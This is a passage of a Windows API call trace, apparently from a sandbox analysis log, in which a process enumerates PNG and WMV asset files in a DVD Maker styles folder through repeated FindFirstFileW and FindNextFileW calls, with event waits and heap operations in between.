ftLastAccessTime.dwLowDateTime=0x720763d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e5d1ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0240.567] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7210e948, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7210e948, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e61e19f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0240.568] ResetEvent (hEvent=0x118) returned 1 [0240.568] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.573] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-over-select.png", cAlternateFileName="")) returned 1 [0240.574] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242e5e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7242e5e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-static.png", cAlternateFileName="")) returned 1 [0240.574] ResetEvent (hEvent=0x118) returned 1 [0240.574] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.579] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72454746, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72454746, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-over-select.png", cAlternateFileName="")) returned 1 [0240.579] ResetEvent (hEvent=0x118) returned 1 [0240.579] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.592] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7247a8a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7247a8a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-static.png", cAlternateFileName="")) returned 1 [0240.592] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722b1847, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722b1847, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-over-DOT.png", cAlternateFileName="")) returned 1 [0240.593] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-over-select.png", cAlternateFileName="")) returned 1 [0240.593] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-static.png", cAlternateFileName="")) returned 1 [0240.593] ResetEvent (hEvent=0x118) returned 1 [0240.594] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.773] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x33b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-border.png", cAlternateFileName="")) returned 1 [0240.774] ResetEvent (hEvent=0x118) returned 1 [0240.774] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.995] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-highlight.png", cAlternateFileName="")) returned 1 [0240.995] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722fdb01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722fdb01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-imageMask.png", cAlternateFileName="")) returned 1 [0240.996] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea22689, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x643e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-shadow.png", cAlternateFileName="")) returned 1 [0240.996] ResetEvent (hEvent=0x118) returned 1 [0240.996] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0241.006] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-backglow.png", cAlternateFileName="")) returned 1 [0241.007] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-border.png", cAlternateFileName="")) returned 1 [0241.007] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-ImageMask.png", cAlternateFileName="")) returned 1 [0241.007] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_notes-txt-background.png", cAlternateFileName="")) returned 1 [0241.007] ResetEvent (hEvent=0x118) returned 1 [0241.008] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0241.023] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fdde60, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71fdde60, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="rollinghills.png", cAlternateFileName="")) returned 1 [0241.023] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7215ac02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7215ac02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea6e945, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0241.023] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72180d5f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72180d5f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec1184f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3fc64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0241.024] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721cd019, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x721cd019, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec379ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2a8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0241.024] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7223f430, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7223f430, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ecf6083, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0241.024] ResetEvent (hEvent=0x118) returned 1 [0241.025] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0241.029] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72323c5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72323c5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ed4233f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe3dca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref.wmv", cAlternateFileName="")) returned 1 [0241.029] ResetEvent (hEvent=0x118) returned 1 [0241.029] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0241.032] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 1 [0241.032] ResetEvent (hEvent=0x118) returned 1 [0241.032] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0241.142] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 0 [0241.142] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0241.144] GetProcessHeap () returned 0x560000 [0241.144] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0241.145] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1 [0241.145] ResetEvent (hEvent=0x118) returned 1 [0241.145] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0241.150] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8601df, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8601df, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1274, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0241.150] ResetEvent (hEvent=0x118) returned 1 [0241.150] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0241.366] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e88633c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e88633c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_videoinset.png", cAlternateFileName="")) returned 1 [0241.367] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efaa4ac, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efaa4ac, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x59b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0241.367] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0241.368] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_VideoInset.png", cAlternateFileName="")) returned 1 [0241.368] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Push", cAlternateFileName="")) returned 1 [0241.368] GetProcessHeap () returned 0x560000 [0241.368] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0241.368] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0241.371] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.371] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0241.371] ResetEvent (hEvent=0x118) returned 1 [0241.372] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0241.384] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047_576black.png", cAlternateFileName="")) returned 1 [0241.385] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0241.385] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0241.385] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0241.385] ResetEvent (hEvent=0x118) returned 1 [0241.385] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0241.399] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0241.399] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0241.399] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, 